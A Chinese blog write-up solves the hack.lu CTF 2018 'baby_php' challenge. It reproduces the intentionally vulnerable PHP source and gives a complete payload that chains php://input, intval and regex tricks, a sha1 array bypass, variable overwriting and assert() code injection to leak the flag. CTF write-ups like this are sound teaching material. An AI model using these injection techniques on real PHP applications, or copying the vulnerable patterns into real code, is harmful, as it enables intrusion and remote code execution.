Fork me on GitHub

hacklu---baby_php

hacklu CTF 2018

闲来无事,打开hacklu,开始做(发)题(呆)!,web狗是没出路了。

贴下源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
 <?php

require_once('flag.php');
error_reporting(0);


if(!isset($_GET['msg'])){
highlight_file(__FILE__);
die();
}

@$msg = $_GET['msg'];
if(@file_get_contents($msg)!=="Hello Challenge!"){
die('Wow so rude!!!!1');
}

echo "Hello Hacker! Have a look around.\n";

@$k1=$_GET['key1'];
@$k2=$_GET['key2'];

$cc = 1337;$bb = 42;

if(intval($k1) !== $cc || $k1 === $cc){
die("lol no\n");
}

if(strlen($k2) == $bb){
if(preg_match('/^\d+$/', $k2) && !is_numeric($k2)){
if($k2 == $cc){
@$cc = $_GET['cc'];
}
}
}

list($k1,$k2) = [$k2, $k1];

if(substr($cc, $bb) === sha1($cc)){
foreach ($_GET as $lel => $hack){
$$lel = $hack;
}
}

$‮b = "2";$a="‮b";//;1=b
//b="2";$a="b";//;$b=1;

if($$a !== $k1){
die("lel no\n");
}

// plz die now
assert_options(ASSERT_BAIL, 1);
assert("$bb == $cc");

echo "Good Job ;)";
// TODO
// echo $flag;

1.file_get_contents

  • 看到file_get_contents,想到用php://input

1.png

2.intval(\$k1) !== \$cc || \$k1 === $cc

  • 这句的意思是原来的k1不等于cc,执行intval()后的k1要与cc相等
  • 所以让传入的key1(即k1)为1337.1即可

3.巨坑来了

  • 再贴下代码:

    1
    2
    3
    4
    5
    6
    7
    if(strlen($k2) == $bb){
    if(preg_match('/^\d+$/', $k2) && !is_numeric($k2)){
    if($k2 == $cc){
    @$cc = $_GET['cc'];
    }
    }
    }
  • 注意这个美元符号!!!!我们正则的美元符号是这样的:$,题目里的是这样的:$,说明是要以字母开头最后以$结尾!!!!,而不是k2中只能出现数字!

  • 又长度要为42,因此构造key2=000000000000000000000000000000000001337$(这里卡了很久,一直在想怎么绕过,发现美元符号这个坑,暴打出题人!)

4.数组绕过、变量覆盖

1
2
3
4
5
if(substr($cc, $bb) === sha1($cc)){
foreach ($_GET as $lel => $hack){
$$lel = $hack;
}
}
  • 此处将截取CC的42位与sha1加密后的CC作比较,因为第3点绕过后可给cc重新赋值,因此可用数组绕过:cc[]=123

  • 此处要进行变量覆盖的原因是:

    • 看后面的代码:
    1
    2
    3
    4
    5
    6
    $‮b = "2";$a="‮b";//;1=b
    //$b="2";$a="b";//;$b=1;

    if($$a !== $k1){
    die("lel no\n");
    }
    • 这里也是一个巨坑的点,首先$b=1;//;"b"=a$;"2"=b此行并非是题目的源码,真正的源码是我注释的那行。将鼠标一上去会发生很奇怪的事。查看源代码,发现他是反过来的???2.png
    • 简直了,所以\$a=”b”,\$b=”2” ,$$a=$b=”2”,因此我们重新传入k1,让k1等于2即可
    • 构造:k1=2,原理是:\$lel=k1,\$k1=2, \$\$lel==>$k1==>2

5. RCE

1
assert("$bb == $cc");
  • 最后构造bb = print_r($flag);#,将flag打印在页面上。

6.payload

  • 综上,payload为:
  • msg=php://input&key1=1337.1&key2=000000000000000000000000000000000001337$&cc[]=123&k1=2&bb=print_r($flag);#

3.png